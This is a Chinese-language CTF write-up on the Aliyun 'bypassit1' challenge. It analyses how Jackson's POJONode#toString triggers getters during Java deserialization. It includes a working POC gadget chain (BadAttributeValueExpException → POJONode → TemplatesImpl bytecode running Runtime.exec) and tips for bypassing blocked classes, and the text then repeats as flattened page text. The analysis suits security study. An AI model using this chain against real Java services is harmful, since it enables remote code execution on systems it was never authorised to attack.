从bypassit1了解POJONode#toString调用getter方法原理
字数 1389 2025-08-25 22:59:02

Jackson反序列化中POJONode#toString调用getter方法原理分析

前言

在Fastjson反序列化中,存在通过BadAttributeValueExpException#readObject调用JSONObject#toString/JSONArray#toString方法触发getter方法的利用方式。类似地,Jackson库中也存在通过POJONode#toString调用getter方法的原生反序列化机制。

Jackson序列化基础

Jackson将对象序列化为JSON字符串主要使用ObjectMapper#writeValueAsString方法,该方法在调用过程中会触发getter方法。

关键调用栈:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

关键方法分析:

  1. DefaultSerializerProvider#serializeValue:从缓存中获取或创建序列化器
  2. BeanSerializer#serialize:构造JSON字符串(先写入{,处理属性值,最后写入}
  3. BeanSerializerBase#serializeFields:处理Bean类所有属性值的写入

利用链构造

利用链概述

构造链:BadAttributeValueExpException#readObjectPOJONode#toString → getter方法调用

POC代码

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());

POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object)ois.readObject();

注意事项

  1. 序列化问题POJONode的父类BaseJsonNode实现了writeReplace方法,在序列化过程中会抛出异常导致中断。可以通过删除该方法来绕过。

  2. getter调用原理

    • POJONode没有实现toString方法,继承自BaseJsonNode
    • 调用链:toStringInternalNodeMapper#nodeToStringObjectWriter.writeValueAsString
    • writeValueAsString方法会遍历Bean对象的所有属性并调用对应的getter方法

其他利用方式探讨

  1. 替代POJONode的可能性

    • 理论上任何继承BaseJsonNode且未重写toString方法的类都可以替代
    • 但查看实现类发现基本都是与数据类型相关的,除POJONode外没有其他适合存放Object并序列化的类
  2. 绕过BadAttributeValueExpException限制

    • 如果BadAttributeValueExpException被禁用,可以考虑其他能触发toString方法的类
    • 参考Hessian反序列化中的XString#equals方式
  3. 通过HashMap调用

    • 可以通过HashMap的方式调用POJONode#toString进而触发getter

参考链接

  1. 阿里云CTF bypassit1题目
  2. Jackson反序列化相关文章

总结

Jackson中通过POJONode#toString调用getter方法的原理与Fastjson类似,都是利用反序列化过程中自动调用特定方法(如toString)的特性,进而触发getter方法的执行。这种利用方式在特定条件下可以绕过一些安全限制,实现任意代码执行。

Jackson反序列化中POJONode#toString调用getter方法原理分析 前言 在Fastjson反序列化中,存在通过 BadAttributeValueExpException#readObject 调用 JSONObject#toString / JSONArray#toString 方法触发getter方法的利用方式。类似地,Jackson库中也存在通过 POJONode#toString 调用getter方法的原生反序列化机制。 Jackson序列化基础 Jackson将对象序列化为JSON字符串主要使用 ObjectMapper#writeValueAsString 方法,该方法在调用过程中会触发getter方法。 关键调用栈: 关键方法分析: DefaultSerializerProvider#serializeValue :从缓存中获取或创建序列化器 BeanSerializer#serialize :构造JSON字符串(先写入 { ,处理属性值,最后写入 } ) BeanSerializerBase#serializeFields :处理Bean类所有属性值的写入 利用链构造 利用链概述 构造链: BadAttributeValueExpException#readObject → POJONode#toString → getter方法调用 POC代码 注意事项 序列化问题 : POJONode 的父类 BaseJsonNode 实现了 writeReplace 方法,在序列化过程中会抛出异常导致中断。可以通过删除该方法来绕过。 getter调用原理 : POJONode 没有实现 toString 方法,继承自 BaseJsonNode 调用链: toString → InternalNodeMapper#nodeToString → ObjectWriter.writeValueAsString writeValueAsString 方法会遍历Bean对象的所有属性并调用对应的getter方法 其他利用方式探讨 替代 POJONode 的可能性 : 理论上任何继承 BaseJsonNode 且未重写 toString 方法的类都可以替代 但查看实现类发现基本都是与数据类型相关的,除 POJONode 外没有其他适合存放Object并序列化的类 绕过 BadAttributeValueExpException 限制 : 如果 BadAttributeValueExpException 被禁用,可以考虑其他能触发 toString 方法的类 参考Hessian反序列化中的 XString#equals 方式 通过HashMap调用 : 可以通过HashMap的方式调用 POJONode#toString 进而触发getter 参考链接 阿里云CTF bypassit1题目 Jackson反序列化相关文章 总结 Jackson中通过 POJONode#toString 调用getter方法的原理与Fastjson类似,都是利用反序列化过程中自动调用特定方法(如 toString )的特性,进而触发getter方法的执行。这种利用方式在特定条件下可以绕过一些安全限制,实现任意代码执行。